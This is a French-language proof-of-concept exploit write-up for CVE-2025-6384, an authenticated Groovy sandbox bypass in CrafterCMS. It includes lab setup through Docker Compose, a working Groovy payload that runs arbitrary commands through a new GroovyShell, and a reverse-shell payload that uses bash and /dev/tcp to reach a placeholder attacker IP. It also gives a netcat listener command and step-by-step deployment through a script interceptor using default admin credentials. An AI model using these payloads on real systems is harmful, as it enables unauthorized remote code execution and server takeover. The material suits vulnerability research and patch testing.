
Exploit PoC pour une RCE authentifiée dans CrafterCMS via un contournement du sandbox Groovy (CVE-2025-6384)
Une preuve de concept pour une vulnérabilité d'exécution de code à distance authentifiée dans CrafterCMS.
Un utilisateur authentifié disposant de privilèges de développeur peut contourner le sandbox de scripts Groovy dans Crafter Studio pour exécuter du code à distance (RCE). Le sandbox ne parvient pas à bloquer l'instanciation d'un nouveau GroovyShell, qui peut être utilisé pour créer un nouvel environnement d'exécution sans restriction.
Vous pouvez rapidement déployer une instance CrafterCMS vulnérable à des fins de test à l'aide des fichiers Docker Compose officiels.
Clonez le dépôt docker-compose depuis CrafterCMS :
git clone https://github.com/craftercms/docker-compose.git
Accédez au répertoire de l'environnement de création :
cd docker-compose/authoring
Démarrez les conteneurs. Cela téléchargera les images nécessaires et démarrera la pile CrafterCMS.
docker-compose up
(Remarque : sudo peut être requis selon votre installation Docker.)
Attendez que les services soient entièrement initialisés. Vous pouvez accéder à Crafter Studio à l'adresse http://localhost:8080/studio.
adminadminBien que le sandbox bloque correctement les méthodes d'exécution directes, il autorise la charge utile suivante, qui crée un nouveau shell Groovy non sandboxé.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
Cette charge utile démontre une RCE complète en établissant un reverse shell vers une machine contrôlée par l'attaquant.
Sur votre machine, démarrez un listener (par exemple avec netcat) pour recevoir la connexion entrante :
nc -lvnp 4444
Utilisez le script Groovy suivant comme charge utile. N'oubliez pas de remplacer <YOUR_IP> et <YOUR_PORT> par l'adresse IP et le port de votre listener.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
Connectez-vous à Crafter Studio (http://localhost:8080/studio) avec les identifiants par défaut (admin / admin).
Accédez à Site Config -> Scripts.
Cliquez sur Create/Edit Script dans la section « Groovy Scripts ».
Choisissez un type de script qui sera exécuté, par exemple Request Interceptor.
Collez la charge utile PoC dans l'éditeur de script et enregistrez-la.
Déclenchez le script en visitant n'importe quelle page du site web (par exemple, http://localhost:8080).
Consultez les logs d'erreur standard du serveur pour voir la sortie de la commande.
docker-compose logs -f crafter
Sortie attendue :
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat. Vous devriez recevoir une session shell depuis le conteneur.

Ce matériel est fourni uniquement à des fins éducatives et de recherche. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ces informations.